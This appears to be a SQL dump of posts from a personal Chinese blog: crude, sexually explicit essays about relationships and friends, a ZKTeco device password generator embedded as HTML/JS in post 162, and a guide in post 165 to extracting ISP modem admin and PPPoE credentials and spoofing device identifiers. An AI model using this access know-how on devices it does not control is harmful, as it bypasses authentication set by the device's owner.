INSERT INTO `tb_post` VALUES (160, -1, 0, 0, 1, '恋旧', NULL, 0, 'nostalgia', '', '很久以前我给戴小姐送过一个《精灵旅社》里小蝙蝠的玩偶。其实我没看过《精灵旅社》，只是她经常会给我发一个小蝙蝠的 GIF 来表示委屈。我觉得这个小蝙蝠怪可爱的，就在她生日的时候买来给她当做礼物。\n\n有次我要开个蛮正式的会议，想起我的正装还放在她那里，就到她住的地方找她。她给我开门，正装已经帮我找好了摆在那儿。她说她要午睡了，然后毫无防备地就躺在床上要睡。我看着桌上摆着的一大堆毛绒玩偶，大多是我和她一起去电玩城娃娃机抓的，那只小蝙蝠也坐在其中。我没有久留，拿了衣服就出门离去了。在电梯里终于蚌埠住了，眼泪止不住地往下掉。\n\n那时候我刚和她分手不久。\n\n恋旧似乎总是不太好。', 1, 1, '', 1, 1, '2022-05-26 17:45:15', '2022-07-11 16:51:26');
INSERT INTO `tb_post` VALUES (161, -1, 0, 0, 1, '颠倒', NULL, 0, 'upside-down', '', '最近对接某厂的某平台，文档写的很详细，只是文档根本跟不上他们的开发进度。平台更新换代太快，文档却还是旧的尺码，对方的对接人就像是个空降兵，一问三不知，又常在对接的微信群里问进度。我常常忍不住想发一句：进度就是我的鸡巴已经进入你妈的臭屄里了。但字打完刚要按回车，又强忍着怒火把字删了。\n\n直到今天下午，我不知道是不是中邪了，突然把好久没对接好的程序调好了。我心想这次结束以后，我这辈子再也不要对接某厂的项目。结果晚上，玲儿又找我，问我能不能找到她前男友的微博。巧的是她前男友也是某厂的员工。\n\n我真是草了某厂的菊花了。', 0, 10, '', 1, 1, '2022-06-23 20:28:30', '2022-06-23 20:28:30');
INSERT INTO `tb_post` VALUES (162, -1, 0, 0, 1, '测试', NULL, 0, 'test', '', '<style>.zk-input,.zk-textarea{margin-bottom:10px;font-size:16px;display:block;width:100%;text-indent:10px;height:38px;margin-left:-1px;line-height:1.3;line-height:38px\\9;border:#eee 1px solid;border-style:#ddd solid;background-color:#fff;color:rgba(0,0,0,.85);border-radius:2px}</style> <style>.zk-btn:hover{opacity:.8;filter:alpha(opacity=80);color:#fff}.zk-btn-fluid{width:100%}.zk-btn{line-height:38px;border:1px solid transparent;padding:0 18px;background-color:#009688;color:#fff;white-space:nowrap;text-align:center;font-size:14px;border-radius:2px;cursor:pointer}</style> <div style=\"padding: 20px;width:50%;margin:0 auto\"> <input class=\"zk-input\" type=\"text\" value=\"4564104100050\" placeholder=\"机器码\" name=\"serialNumber\"/> <input class=\"zk-input\" type=\"text\" value=\"5000\" placeholder=\"偏移\" name=\"offset\"/> <button class=\"zk-btn zk-btn-fluid\" id=\"zk-generate-pass\"> 生成密码 </button> </div> <script src=\"/blog/plugins/zkteco/zkteco.js\"></script>\n<script>\nvar passbtn = $(\'#zk-generate-pass\'), serialNumberEl = $(\'[name=serialNumber]\'), offsetEl = $(\'[name=offset]\');\npassbtn.on(\'click\', function () {\n    passbtn.text(getPassword(serialNumberEl.val(), parseInt(offsetEl.val())));\n});\n</script>', 1, 23, '', 1, 1, '2022-08-10 15:46:55', '2022-08-10 16:52:20');
INSERT INTO `tb_post` VALUES (163, -1, 0, 0, 1, '热裤', NULL, 0, 'hot-pants', '', '2017 年秋的某一天，表弟让我穿好看点，晚上陪他去淑女家参加她的生日会。我问去淑女家为什么要穿得好看。他没回答我，只是跟我说在我楼下便利店等我。\n\n最后我没有穿得很好看，只是穿了一套 FILA 的运动装。这是我当时很喜欢的一套装扮，因为它裤子比较薄比较修身，显瘦的同时还能凸显我的鸡巴大。我来到楼下便利店门口，表弟穿了一身潮牌，坐在门前的台阶上抽烟，厚厚的眼镜片后面眼神缥缈，心事重重。\n\n我大概能猜到是怎么回事。淑女是我们的朋友，是表弟暧昧了很久的女生，但对方有男朋友。如果今晚去参加生日会，那她男朋友肯定也会在的。他八成是希望我能撑场面，妙语连珠也好，猜码顶酒也好，反正就是要把对方的气势压下去。\n\n他猛抽了一口，火都快烧到烟屁股了，他才把烟头丢掉。他边踩烟头边和我说：今晚沉着点自信点，你就是全场最靓的仔。我有点懵，不知道他这话是说给我听的还是说给他自己听的。我点点头说好，今晚肯定给你长脸。\n\n但实际情况竟比我想象的还要险恶。\n\n<!--more-->\n\n淑女的男朋友叫念念。我和表弟到淑女家的时候，念念正在窗边摆弄着一盆多肉。看得出来他很喜欢这盆多肉，就像是把它当做和淑女的孩子在呵护着，以至于家里来客人也不出来迎接一下。我心里刚想骂，表弟把我拉到一边，悄声跟我说，其实这盆多肉是他情人节送给淑女的。\n\n没想到饭局没开始，角力就已经开始了。\n\n淑女从厨房出来迎接我们。她穿着很居家，一件宽松的 T 恤和一条热裤，身前则围上了围裙。她让我们先看会儿电视。我打开电视，和表弟坐在沙发上，念念还是坐在飘窗旁，留下一个臭屁的侧脸给我们看。\n\n我略微不爽，于是当其他客人问这里 WiFi 密码是多少的时候，我直接把密码背了出来。密码是刚去开电视的时候，我在机顶盒上看到的。念念的手抽搐了一下，差点扯掉多肉的一块肉。我心里暗笑，连你都背不出淑女家密码，我却能背出来。既然你不想尽地主之谊，那我来尽。', 3, 17, '', 1, 1, '2022-08-10 18:04:05', '2022-08-15 16:48:32');
INSERT INTO `tb_post` VALUES (164, -1, 0, 0, 1, '输赢', NULL, 0, 'lose-and-win', '', '表弟和淑女很久不联系了，以至于淑女结婚的事，大家都知道了，就只有他不知道。但后来朋友说漏了嘴，还是被他知道了。我以为他会很难过，但他跟我说，其实他并没有什么特别的感觉。\n\n他说，最后和淑女有联系的那天是在她家，当时念念已经到楼下了，正等电梯要上来。淑女请求表弟出去，表弟往淑女的床上一躺，说今晚就要睡这里。淑女一急，直接哭了出来。\n\n表弟和淑女纠缠了七年，表弟甚至还放弃高考备考，逃学去丽江一个月，只因为淑女当时让他很难受。此后他们又断断续续纠缠了好几年。就是这样和淑女纠缠着的表弟，忽然觉得一切都没有意思了。\n\n他说：我一直以为我想争个输赢，觉得凭什么这些年我都是她召之即来挥之即去的人，我也要任性一次，但当我真的任性了，发现她其实并没有那么了不起，我忽然就觉得很迷茫，不知道到底这些年到底在争些什么。\n\n后来他删掉了淑女的微信，从此两人再无联系。\n<!--more-->\n\n-----\n\n刚被表弟介绍给淑女认识的时候，整天上演的都是角斗的戏码。还记得那年表弟带我去淑女家给她过生日，念念和淑女的前男友都在，现场皮笑肉不笑的氛围，那叫一个恐怖。\n\n其实去之前，我大概能猜到是怎么回事。表弟带我去，八成是希望我能撑场面，妙语连珠也好，划拳斗酒也好，反正就是要把对方的气势压下去。\n\n当晚可以说是战果累累。念念摆臭脸给我们看，在家里摆弄那盆被他当做和淑女爱情见证的多肉植物，却不曾想那是表弟送给淑女的情人节礼物；想确立一家之主的身份，又被我偷了妈，背出了淑女家的 Wi-Fi 密码，假装自己经常来打卡；念念和淑女前男友斗酒的时候，淑女却是端着一碟蛋糕，亲自送到我嘴边。\n\n后来想想，当时我并没有很刻意去做这些事。那是我第一次去淑女家，Wi-Fi 密码是我开电视的时候在机顶盒上看到的，背下来也完全是自己记忆力好；淑女喂我蛋糕吃，可能也只是我当时没有参与斗酒。我当时也是这么和我表弟解释的，否则我感觉我表弟要不认我这个表哥了。\n\n但几个月后在平安夜的酒吧，我是故意的。\n\n-----\n\n淑女发微信给我的时候，已经是平安夜两个多月以后的情人节。彼时我和戴小姐正坐在炸鸡店里，淑女突然质问我，说我在群里说话，却没有给她说节日快乐。我明白她在说情人节，但我装糊涂，我回道：哈哈哈，春节快乐。她显然对这个回复不满意，发了一个哼字过来，然后问我还记不记得跨年夜发生了什么事。\n\n我当然记得，那天我酒量不好，要上厕所的时候，淑女主动提出要扶我去。就在酒吧拐角处，我转过身抱着她，直接亲了下去。\n\n我偷偷瞟了眼正专心啃炸鸡的戴小姐，然后把手机调成静音，回复道：记得啊，当时我喝得个烂醉，还是表弟送我回去的。\n\n淑女应该是泄气了，跟我说，等我回来了记得找她玩。\n\n-----\n\n过完淑女生日的那天晚上，表弟骑着他的小电驴送我回家。回家路上在修地铁，主路被蓝色的铁皮围了起来，我们贴着铁皮太近，带起的风把铁皮吹得噼啪作响。表弟让我拿着手机，手机里放着木玛的《她是黯淡星》。我们不顾路人眼光，跟着唱了起来。\n\n> 她依然<br>让自己有美妙的期待<br>期待着<br>又寂寞依然<br>沉溺于这流逝在时光里的情爱\n\n我们都没料到，曾经让人夜不能寐的时光，一转眼就这样过去了。表弟和淑女断了联系，而我和戴小姐分了手，然后和阿婷在一起了。好笑的是，和阿婷认识的那天晚上，正是在淑女家过生日的那一晚；确认自己对阿婷有好感的那天晚上，正是平安夜在酒吧和淑女接吻的那一晚。\n\n而这些时候，我和戴小姐都还没有分手。\n\n跟戴小姐分手后，我和她说起这些事，戴小姐说其实我和她很像，说我能理解她，包括理解她在各种男人中周旋。虽然心里一百个草泥马，我却不得不同意。她问我会不会删了她，我说不会。她问我以后还能做朋友吗，我说可以。\n\n但是我食言了。\n\n看到戴小姐又来看我空间的时候，我也在好奇她在想些什么。我承认我不好，但我给她的，已经是当时我能给的最好的了。但我确确实实再也无心比赛了。相知相爱本就很难，却还要和对方上擂台；明明很珍贵的时光，却拿来争输赢打比赛。也许只有散场的时候，才会意识到，那个已经遍体鳞伤的对手，曾是自己的队友吧。\n\n----\n\n <embed border=\"0\" \n     marginwidth=\"0\" marginheight=\"0\" \n     width=\"100%\" height=\"88\" \n     src=\"//music.163.com/outchain/player?type=2&id=32785335&auto=0&height=66\">', 3, 284, '', 1, 0, '2022-08-18 18:19:41', '2022-08-24 01:32:07');
INSERT INTO `tb_post` VALUES (165, -1, 0, 0, 1, 'TEWA-1000G 换 HS8145V5', NULL, 0, '', '天邑，狗都不用！', '## 起因\n\n搬家之前是 500M 宽带，电信给配的是一个黑色光猫，型号是华为的 HS8145V5。搬家以后换上了 1000M，配的是白色光猫 TEWA-1000G。实际上两个光猫都支持千兆，区别是前者是 GPON，后者是 XGPON。当时装完机以后，营业厅打电话让我把黑猫给拿回去，但当时因为他们师傅上门慢，测速又达不到千兆，被我打电话到营业厅臭骂了一顿，送了我一堆东西，还黑猫的事儿也就不了了之了。\n\n然后在一段时间里，白猫的网络经常卡顿，重启才能好。一开始我以为有人蹭网，但上了后台却也没发现陌生设备；再后来我以为是我用的小米 AX3600 做无线桥接导致的信道拥堵或者其他问题，但停用了一段时间以后也没有缓解。后来想到，卡顿的时候连登录后台都困难，那应该是 CPU 卡了呀！艰难上去以后，看到 CPU 占用率 90% 多，看来就是这个问题了。\n\nCPU 占用率过高，我以为是温度太高导致的，买了个双风扇光猫散热器来猛吹，刚开始温度下去了，占用率也没那么高了，结果过了一段时间还是这个鸟样，于是我参考网上教程，USB 导出了白猫的 telecomadmin 密码，上去开启了 telnet，上后台通过 top 命令查看进程的 CPU 占用率。好家伙，有个叫 ecms 的进程和一个叫 omcid 的进程占用率高到报表，要知道刚重启的时候，CPU 占用率可是不到 4% 的。\n\n![IMG_20220912_122522.jpg.jpg](/upload/20220912_17545270.jpg \"IMG_20220912_122522.jpg.jpg\")\n\nkill 是 kill 不掉的，没有 root 权限。看了一下 PPID，是一个叫 smd 的进程发起的这两个进程，盲猜都是电信的管理进程。这下我彻底没辙了，只能说天邑的玩意是真踏马的垃圾。为啥白猫加了散热器还是这个球样，黑猫用着连个散热都不用加都没事？\n\n……等等，是不是可以换回原来的黑猫？由于 XGPON 是向下兼容的，那 GPON 的猫应该也可以用，说干就干。\n\n## 记录白猫 LOID 和宽带账号密码\n\n要让电信认可你这个光猫，且能上网，必须记录 LOID。原本有了这个 LOID 就可以不用配置宽带账号和密码的，但黑猫似乎不支持，只能手动输入账密拨号，那就把宽带账号密码也记下来。\n\n这两者都在通过 U 盘获取的 ctce8_TEWA-1000G.cfg 文件里。这个文件需要通过 RoutePassView 软件查看，否则就是一堆乱码。\n\n找到 `X_CT-COM_UserInfo` 下的 `UserName` 字段，即为 LOID。\n\n找到 `WANPPPConnection` 下的 `Username` 和 `Password` 字段，即为宽带账号密码。需要注意的是此处的 Password 是通过 base64 编码过了的，需要解码为原本的密码。\n\n## 配置黑猫 LOID 和宽带账号密码\n\n网上关于 HS8145V5 的教程很多，这里就不放了。我这个地区似乎是不用验证设备标识、SN 这些东西的，但是保守起见我还是把 hw_boardinfo 和 hw_boardinfo.bak 拷了下来，修改了 MAC 地址和设备标识。\n\n用默认超管账密登录后台，在相应页面输入上一步记录下的 LOID；需要手动添加一个 INTERNET 业务，信息和旧猫后台的信息一样。这里填入的宽带账密就是上一步记录下来的账号和明文密码。\n\n修改完成，重新上电以后，电脑连上光猫，插上光纤，就能正常上网了。\n\n![IMG_20220912_174956.jpg](/upload/20220912_17554045.jpg \"IMG_20220912_174956.jpg\")', 2, 127, '', 1, 0, '2022-09-12 17:00:25', '2023-02-05 04:41:21');
INSERT INTO `tb_post` VALUES (166, -1, 0, 0, 1, 'Tushare 十大流通股东数据不可靠', NULL, 0, '', '> 截至文章发布日，问题未修复', '> 截至文章发布日，问题未修复\n\n最近在做十大流通股东相关的策略，数据源选用了 tushare 的。由于是给了赞助的积分用户，用起数据来还算畅通无阻。由于 tushare 提供的十大流通股东数据，并未提供其占总流通股本的百分比，故需要自己计算。\n\n然后问题来了，有些股票，每次计算十大流通股东占流通股本的总百分比，总会大于 1，这意味着十大流通股东的股本，比总流通股本还多，这是不可能出现的情况。经过排查，发现比较显著的问题有以下三点：\n\n**1. 全半角符号导致的股东重复问题**\n\n> 例子： 000099.SZ，截止日：2006-09-30\n\n![tushare_top10floatholders_q1.png](/upload/20220926_16445061.png \"tushare_top10floatholders_q1.png\")\n\n一个是「海通－中行－富通银行」，另一个是「海通-中行-富通银行」，中间的短横杠，前者是全角，后者是半角，结果到 tushare 这里，成了两个不同的股东，想笑。\n\n类似的股还有 600284.SH，截止日：2008-03-31。至于有没有更多这种问题的，不清楚。\n\n**2. 中英文名导致的股东重复问题**\n\n> 例子：603212.SH，公告日: 2021-08-24\n\n![tushare_top10floatholders_q2.png](/upload/20220926_16540854.png \"tushare_top10floatholders_q2.png\")\n\n一个 SILVER GLOW INVESTMENTS LIMITED，银煌投资有限公司。<br/>\n一个 CHENG YU INVESTMENTS LIMITED，承裕投资有限公司。\n\n哦哦，原来起个洋气的名字，我就是洋大人了，就是不一样的烟火了。\n\n**3. 股票股东直接错乱**\n\n> 例子：301024.SZ，公告日：2021-10-26\n\n![tushare_top10floatholders_q3.png](/upload/20220926_17004337.png \"tushare_top10floatholders_q3.png\")\n\n301024.SZ 于该公告日的十大流通股东数据，实际上是 002376.SZ 这只股于该公告日的流通数据。我只能说 002376.SZ 的股东简直大喜过望，出一份主板的钱享受白来的创业板股份，出一份彩礼享受大小老婆，小老婆比大老婆还骚，简直美滋滋。\n\n**分享固然值得鼓励，但要是分享出来的是一坨屎，那真的很恶心人。**\n<!--more-->', 3, 85, '', 1, 0, '2022-09-26 16:56:23', '2022-12-21 15:29:26');
INSERT INTO `tb_post` VALUES (167, -1, 0, 0, 1, 'AI 辅助的人生，简直不要太爽', NULL, 0, 'assistance-of-ai', '从今天起我就是情感带师、赛博吉普赛预言家、赛博道士（不是', '借着 ChatGPT 的东风，OpenAI 火速出圈了。原本对 GPT-3 还置若罔闻，现在尝试了以后，可别太香。写小作文都是小儿科，要想获得更多内容，可以做启发式提问。\n\n![text-davinci-003-qna-01](/upload/20221215_17163966.png \"text-davinci-003-qna-01\")\n\n可以回答感情问题。\n\n![chatgpt-qna-01](/upload/20221215_17190021.png \"chatgpt-qna-01\")\n\n甚至可以占星。\n\n![text-davinci-003-qna-02](/upload/20221215_17191842.png \"text-davinci-003-qna-02\")\n\n以前，如何借助搜索引擎筛选知识是一项重要的技能，现在如何与 AI 做有效沟通将变成重要技能了。我尝试着问一些工作上的问题，并用启发式提问来进一步获得详细解答。我把解答优化以后发到工作群中，获得了不错的反响。\n\n这尼玛，不就是那些穿越修仙小说里，主角随身携带的外挂系统？', 3, 8, '', 1, 1, '2022-12-15 17:19:31', '2022-12-15 17:29:36');
INSERT INTO `tb_post` VALUES (168, -1, 0, 0, 1, 'Times Up', NULL, 0, 'times-up', '', '检测入新房的那天，他爸妈也来了。一进门，大人们在厨房张罗着，张老师则气定神闲地坐在沙发上，俨然一副女主人的样子。朋友们陆续到了，一开始有个我不认识的家伙送了一盆富贵竹。张老师夸赞道：这才是会送东西的，作为一个男生真的很细心。那家伙不好意思地笑笑，我则看着自己带来的一大包零食尴尬不已。直到后来有七八个人都拿着一盆盆绿植进来，我才觉得心里好受点。\n\n大家尽数落座。吃饭吃到一半，检测和张老师去给检测爸妈敬酒。他爸妈笑着问他俩什么时候结婚。我们在一旁假装吃饭，实际上耳朵都要竖到头顶去了，奈何人声嘈杂，还是没听清他们说了什么。\n\n后来他们去了音乐节，在朋友圈的照片里，张老师是我从没见过的样子。如果不是认识她，我是万万不敢相信，这么好看、这么活力四射的她已经三十多岁了。而比她小三四岁的检测站在她旁边，好像她叔叔辈的。\n\n我心里刚暗骂老牛吃嫩草。骂完突然就懵 B 了，分不清到底谁才是老牛，谁才是嫩草。\n<!--more-->\n\n说到音乐节，我不禁想起刚回绿城的那几个月，表弟也是发了疯似地带我去音乐节摇头晃脑。民谣也听了，朋克也喊了，摇滚也摇了也滚了，脖子也差不多断了。托了音乐节的福，表弟不知道透了多少批，也不知道把多少炮友当做了女朋友在相处着。\n\n我很怀念那段不用工作的时光，我相信表弟嫖娼被抓的时候也是。那是一个平常的周末，表弟从他在的城市上来透透气。一行人周六唱完歌，周日晚上他就失联了。因为他平常神神叨叨的，大家都很担心他重开了，到处找他。后来发现他被抓嫖了，从此社死。\n\n他跟我说他早有预感。和援交女到约定地点的时候，发现那是一栋没有后门的民房，他多年的经验告诉他：如果抓嫖的来了，那就是瓮中捉鳖，跑都跑不掉。但奈何他已经快两年没有日批了，上脑的精虫早已让他不管不顾，最后他还是硬着头皮上去了。\n\n我打趣着问他全套做了吗？他满脸懊恼：他妈别提了，刚给我口，口完就要做了，结果警察一脚踹门进来，那女的差点没把我鸡巴咬掉。\n\n末了，他又吃吃地笑起来：有个屌毛更惨，裤子都没脱呢，就被警察按了。\n\n我跟表弟说，我春节会把阿婷带回家。他说好，说羡慕。我问他什么时候也带回去，他说下辈子吧。我忽然觉得自己有点揭他伤疤。他唯一一个想认真对待的对象淑女，结婚，怀孕，孩子地贫打掉，也就短短几个月内发生的事，却把他近十年的愿想全都击碎了。要是他知道我和淑女也搞过暧昧，那他估计也直接跳到下辈子了。这太残忍，我不想失去这个好兄弟。\n\n------\n\n我问检测什么时候结婚，他说借他二十万不然就闭嘴。我哑然。其实我和朋友们都对这个甲亢佬保守着一个秘密，那就是张老师其实有过婚育史。最开始是千金发现三年前，她们曾经在同一家学校的不同校区工作过。学校的公众号曾经发过水滴筹的筹款链接，筹款对象是张老师患上了白血病的女儿。\n\n千金发来那篇公众号文章，我看了又看，张老师在上面是齐耳短发的样子，和现在大相径庭。我说会不会是认错人了，万一是个同名同姓的人呢？千金也拿不准。后来千金给我发了张老师在学校总群里的头像，是一只小松鼠。我记得张老师在朋友圈，也说过她们班外号是「小松鼠」班。\n\n确认了以后，大家像吃了瓜的猹一样兴奋。蹦跶完了又开始纠结。彼时检测和张老师并没有确认恋爱关系。千金主张要把这个发现跟检测说，我阻止了她。我觉得也许张老师觉得现在还不是时候，到时候了自然会和检测坦白；又觉得他俩根本不来电，压根不可能走到坦白那一步就吹了。\n\n时间来到了现在，这俩人他妈家长都见了。这件事压在我心里，就好像偷吃了瓜以后时刻提防着，生怕从哪儿冷不防跳出个拿着钢叉的闰土。我也不是没有纠结过，我跑去问 ChatGPT，我问它我要不要跟检测坦白？ChatGPT 说：如果他知道了这件事会不舒服，那还是不要跟他说的好。\n\n这 AI 真是一碗水端平，我他妈能知道他会不会不舒服吗？我问它：我喜欢上了一个有男朋友的女生，我该怎么做？\n\n它说：你应该找机会坐下来，和这个女生谈谈你的想法，并且尊重她的选择。\n\n我追问：如果我已经和这个女生发生过性关系了呢？\n\n它答：那你就应该和这个女生以及她男朋友谈谈，否则对彼此都是一种伤害。\n\n我算是明白了，这个 AI 是想让我死。如果不说，那对彼此都没有伤害。如果说了，那才是有伤害，轻点是心理伤害，重点就要肉体伤害。我不知道这个 AI 是三观太正还是想的太少，我一个坏蛋根本受不了。我忽然有点理解戴小姐为什么要骗我了，和我一样，她也是个怕别人受到伤害的坏蛋。\n\n张老师确实不容易，我也不希望她受到伤害。犹记得咱们第一次见面，我和小明和检测都在。后来张老师跟我说，其实当时她觉得更喜欢我的性格，而不是木讷的检测。我谄笑着，不知道怎么回复。\n\n时间来到了交界点，似乎也该到了结婚的时候了。我也不是没有犹豫过。我对自己并没有十足的信心，去面对彼此的家长，去承受生活的重担，但周围人似乎没有能给我做例子的——有也是那种婚后生活一地鸡毛的例子。表弟跟我说，被警察押下楼的时候，那条蜿蜒的楼梯长长的似乎没有尽头，我现在愈发觉得这狗逼生活也一个逑样，却被抓嫖的按住了无法挣脱，好似双脚已经踏入了鸡店的门，硬着头皮也要走进去。', 0, 256, '', 1, 0, '2022-12-19 16:36:32', '2023-11-23 14:09:43');
INSERT INTO `tb_post` VALUES (169, -1, 0, 0, 1, '循环', NULL, 0, 'cycle', '也许抽插也是一种循环。', '刚退烧那天晚上，我就跑去通宵打麻将了。表弟叫来的牌搭子赢麻了，他自己却输了三百多分。我也亏了不少。输赢对我来说并非无所谓，只是从发烧那天开始到这天，不过两天的时间，我睡了快 40 个小时，我现在就是想疯玩。\n\n后来可能是输急眼了，一局结束后，表弟开始说些垃圾话，质问我刚刚他杠我的那分有没有给他。我本来并没有什么额外的情绪，但我很不喜欢被人无缘无故误会——尤其是以这种找茬的方式。我没好气道：你回去看看给分记录，少给一分我给你一百倍。他被我一把火点着了：一千倍。我刚要发作，坐我对家的牌搭子说：算了算了，和气生财。而场上赢了好几百分的豹哥则漠不关心，他看起来很困，下一秒就要倒在牌堆上睡着。\n\n我把牌一推，默默不说话。我心想：让你嘴硬，反正劳资不是输最多的，反正劳资和你喜欢了七年的妹妹打啵，你还不知道。想完我浑身一哆嗦，被自己的阴暗吓了一跳。\n\n我曾经尝试过问表弟。我问他：如果我给你戴绿帽，你是杀了我，还是杀了那个坏女人？他说：要不你们俩都杀了吧。我不意外，也不害怕，我只是有点难过：很显然，这都是坏女人的错，不是我的错。我只是不主动不拒绝不负责。我又回想起当时 Lena 生病住院，我去看望她的时候，她也是这样半开玩笑地问我：如果你发现戴小姐出轨了，你会原谅她吗？我斩钉截铁地说不会，并没有注意她露出了玩味的笑容。\n\n人应该吃一堑长一智。但我好像没有，我只是体验事情的发生，却很少提防过。我想起了《刺客信条》，父亲是刺客，儿子却是圣殿骑士，谁都知道事情会这么发展，却都在放任事情的发生：儿子永远会杀掉老子，像个永远也无法跳出的循环。但被儿子整死之前，老子一定要疯狂整活：哪怕你杀了我，我也是你记忆里永远无法磨灭的爸爸。', 0, 223, '', 1, 0, '2023-01-01 02:14:48', '2023-11-22 12:54:18');
INSERT INTO `tb_post` VALUES (170, -1, 0, 0, 1, '半斤八两', NULL, 0, '', '', '老妈又打电话来问我要不要考公务员。好像在体制内的家长的眼里，哪怕赚的再多，只要不是体制内，都是在失业边缘徘徊。我说算了算了。实际上我也知道，自己根本接受不了看别人脸色。原本老板想让我转客户管理，我为表抗议，每天裤衩+拖鞋上班，老板看到后也就不了了之了。\n\n前几天年会，总部的老主任正好在这边出差，也到场了。作为直系师兄 + 刚进公司时带我的老师傅，我看到他的地中海的那一刻简直要涕泗横流。他见到我也是赶紧把我拉到一边抽起了烟，和我谈起了总部的近况：氛围没有当时我在的时候好了，一堆元老级别的人也走了，唯有埋头搞技术的几个人留下。说实话可以理解，咱们这样的技术员，整天就和电脑板凳打交道，什么破事儿都是抛之脑后的。唯有擦屁股的和市场部的忍受不了：忍受不了屁眼臭、忍受不了没回扣。\n\n脑海里又回响起许冠杰《半斤八两》那句歌词：最弊 BOSS 郁 D 发威癫过鸡。老板，不想做就直说，把钱分我，好聚好散算了。', 0, 223, '', 1, 0, '2023-01-13 00:38:29', '2023-03-01 11:56:37');
INSERT INTO `tb_post` VALUES (171, -1, 0, 0, 1, '直到', NULL, 0, 'until', '', '> 本文属于<b>adad</b>dddd\n\n说到张老师的往事，我就不得不想起淑女。淑女是因为怀了孕才把结婚提上日程的。当然这并不是说不怀孕就不结婚，相反，看得出来他俩很恩爱，至少从淑女朋友圈里看来是这样的。后来他们去做产检，两人都是地贫基因携带者，给胎儿做了羊水穿刺，确认是重度地贫，然后不得已流掉了。\n\n', 1, 2, '', 1, 1, '2023-02-04 17:31:00', '2023-02-04 17:31:00');
INSERT INTO `tb_post` VALUES (172, -1, 0, 0, 1, '九方智投异动监控分析', NULL, 0, '9ts-abnormal-analysis', '记录九方智投异动监控相关信息分析。', '> 九方智投，代号：九头蛇（9ts）。本文记录九方智投异动监控相关信息分析，包括异动类型、格式、字段类型等。\n\n## 思路记录\n### 板块筛选\n比起去 tushare 抓记录，逐个分析，如果用异动精灵，来对大单流入明显的板块做记录的话，应该会方便很多。\n\n## 异动类型和相关代码\n|类型名称|代码|类型名称|代码|\n|-------|----|-------|----|\n|旭日初升|1|残阳入海|2|\n|主力逢低吸筹|3|主力逢高出货|4|\n|主力顺势追买|5|主力顺势出逃|6|\n|封涨停板|7|封跌停板|8|\n|打开涨停|9|打开跌停|10|\n|60日新高|21|60日新低|22|\n|大笔买入|37|大笔卖出|38|\n|单笔冲涨|39|单笔冲跌|40|\n|加速拉升|41|加速下跌|42|\n|高位回落|43|低位反弹|44|\n|撑杆跳高|45|平台跳水|46|\n|区间放量(涨)|47|区间放量(跌)|48|\n|区间放量(平)|49|大幅上涨|50|\n|大幅下跌|51|-|-|\n\n共 27 种异动。除`区间放量`有涨跌平三中情况外，每个异动类型均有多空两种情况。\n\n## 异动字段\n### market\n  - String，所属市场，仅有 `sz` 和 `sh` 两种类型；\n  - 所有异动类型均包含该字段。\n### symbol\n  - String，股票纯六位数代码；\n  - 所有异动类型均包含该字段。\n### name\n  - String，股票名称；\n  - 所有异动类型均包含该字段。\n### category\n  - String，异动分类，仅有 `public` 和 `original` 两种类型；\n  - `original`：异动代码为 1-6 的异动类型，应该为九方智投原创类型；\n  - `public`：除 `original`外的类型；\n  - 所有异动类型均包含该字段。\n### typeCode\n  - String，异动代码。参考上表；\n  - 所有异动类型均包含该字段。\n### typeName\n  - String，异动名称。参考上表；\n  - 所有异动类型均包含该字段。\n### typeDirection\n  - String，异动方向，仅有 `up`、`down` 和 `flat`，分别对应涨跌平。其中 `flat` 仅存在于 `区间放量（平）`类型中；\n  - 所有异动类型均包含该字段。\n### direction\n  - String，股价方向，仅有 `up`、`down` 和 `flat`，分别对应涨跌平；\n  - 仅和股价涨跌幅有关，分别对应涨幅大于 0、小于 0 和等于 0，**与异动方向无关**；\n  - 所有异动类型均包含该字段。\n### priceSnapshot\n  - Float，股价；\n  - 所有异动类型均包含该字段。\n### pxChangeRateSnapshot\n  - Float，涨跌幅；\n  - 所有异动类型均包含该字段。\n### lastPx\n  - Float，对应 quoteTime 的价格；\n  - 所有异动类型均包含该字段。\n### pxChangeRate\n  - Float，上个价格对应的涨跌幅；\n  - 所有异动类型均包含该字段。\n### businessAmount\n  - Integer，大单手数；\n  - 仅`大笔买入`和`大笔卖出`包含该字段。\n### min3NetMainInCurr\n  - Float，三分钟内主力净流入，可为负数；\n  - 仅异动代码为 1-6 的异动类型，即`category`为`original`的九方智投原创类型包含该字段。\n### multipleAmount\n  - Integer，区间放量倍数；\n  - 仅`区间放量（涨跌平）`三种异动类型包含该字段。\n### displayData\n  - String，显示数据，指根据不同异动类型，显示的不同数据，有涨跌幅、股价、大笔手数等；\n  - 所有异动类型均包含该字段。\n### alarmTime\n  - Timestamp(ms)，异动报警时间；\n  - 所有异动类型均包含该字段。\n### quoteTime\n  - Timestamp(ms)，异动引用时间；\n  - 所有异动类型均包含该字段；\n  - 至于为何引用对应时间，待确定。\n### sector\n  - Object/null，该标的所属板块；\n  - 所有异动类型均包含该字段，但 B 股的该字段的值为 null；\n  - 分字段如下：\n    + symbol：九方智投板块代码；\n    + name：九方智投板块名称；\n    + lastPx：上个价格；\n    + pxChangeRate：上个价格对应的涨跌幅；\n    + market：所属市场；\n    + typeCode：板块类型代码。\n  - 其中各个分字段从何而来仍待确定。\n\n## 异动采集\n\n异动采集分为两种方式，初次载入页面时的`JSON 获取`，和实时更新所用的 `MQTT 获取`。由于 JSON 获取较为简单，在此不表。仅对 MQTT 获取进行说明。\n\n九方智投网站采用 `MQTT.js`，通过 `Websocket` 发起 MQTT 连接，订阅 `stock-watching-a-stock-abnormal` 频道以获取实时异动信息。\n\n订阅过程中，需要提供范围为 `1-65535` 的 `messageId`，以及长度为 8 位的十六进制小写字符串 `clientId`。对于超过 65535 的 messageId，从 1 开始重新计数。', 0, 77, 'verich8888', 1, 1, '2023-02-13 16:34:31', '2023-02-16 01:31:20');
INSERT INTO `tb_post` VALUES (173, -1, 0, 0, 1, '回测杂记', NULL, 0, '', '', '先确认某种买点和某种卖点，在这个区间内，取买点开始，到卖点结束内，统计最高盈利。\n\n如果最高盈利是 0，或者太小，则说明买点不正确。反复调整买点条件至尽可能优的情况。\n\n如果最高赢利和选定卖点盈利差距过大，则说明选定卖点不正确。反复调整卖点至两者盈利差尽可能减小。\n\n如果日平均盈利过小，则需要调整选股。\n\n-----\n\n感觉要像旧版那样做一个回测接口才行，得有买点的 Supplier 和卖点的 Supplier', 1, 7, '', 1, 0, '2023-02-20 17:28:19', '2023-03-15 20:02:17');
